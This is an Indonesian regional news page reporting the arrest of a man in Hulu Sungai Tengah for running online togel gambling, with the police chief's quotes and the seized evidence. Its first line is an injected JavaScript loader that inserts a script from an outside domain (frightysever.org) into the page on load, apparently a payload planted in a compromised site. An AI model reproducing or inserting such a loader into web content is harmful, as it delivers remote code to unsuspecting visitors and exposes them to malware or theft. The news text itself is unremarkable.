(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Upaya untuk memberantas perjudian di wilayah Kabupaten Hulu Sungai Tengah (HST) terus dilakukan oleh Polres HST. Operasi yang dilakukan Polsek Haruyan berhasil menangkap pelaku judi togel, Senin (30/7) pukul 09.00 Wita.
“Ini merupakan salah satu upaya dari Polres HST dan Polsek jajaran memberantas perjudian dengan melakukan giat penangkapan terhadap satu orang pelaku judi togel,†kata Kapolres HST AKBP Sabana Atmojo SIK MH.
Pelaku berinisial HR (51) warga Desa Mangunang RT 01 RW 01 Kecamatan Haruyan, Kabupaten Hulu Sungai Tengah (HST). Penangkapan pelaku berawal pada saat petugas dari Polsek Haruyan mendapatkan informasi masyarakat bahwa di Desa Mangunang sering terjadi transaksi jual beli togel online.
“Warga mengeluhkan adanya judi togel di Desa Mangunang, makanya petugas segera melakukan penyelidikan di daerah tersebut,†jelas Kapolres HST.
Menanggapi laporan dari masyarakat tersebut, petugas dari Polsek Haruyan segera melakukan penyelidikan di sekitar Desa Mangunang. Dari hasil penyelidikan, petugas menangkap HR yang saat itu sedang menunggu para pemasang togel.
Petugas kemudian melakukan penggeledahan terhadap pelaku dan berhasil menemukan barang bukti berupa satu buah handphone Evercoss warna hitam, satu buah handphone Strawberry warna hitam, satu lembar kertas yang berisikan angka tebakan togel dan uang Rp 518.000, diduga uang setoran pemesanan angka togel. Pelaku dan barang bukti dibawa ke Polsek Haruyan guna proses sesuai hukum yang berlaku.
“Dari tangan pelaku, petugas berhasil mengamankan barang bukti berupa satu lembar kertas rekapan togel, dua buah handphone dan uang setoran pemesanan angka togel,†lanjut Kapolres HST.
Pelaku dijerat dengan pasal 303 Jo 303 Bis KUHP tentang perjudian dengan ancaman hukuman maksimal 10 tahun penjara. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.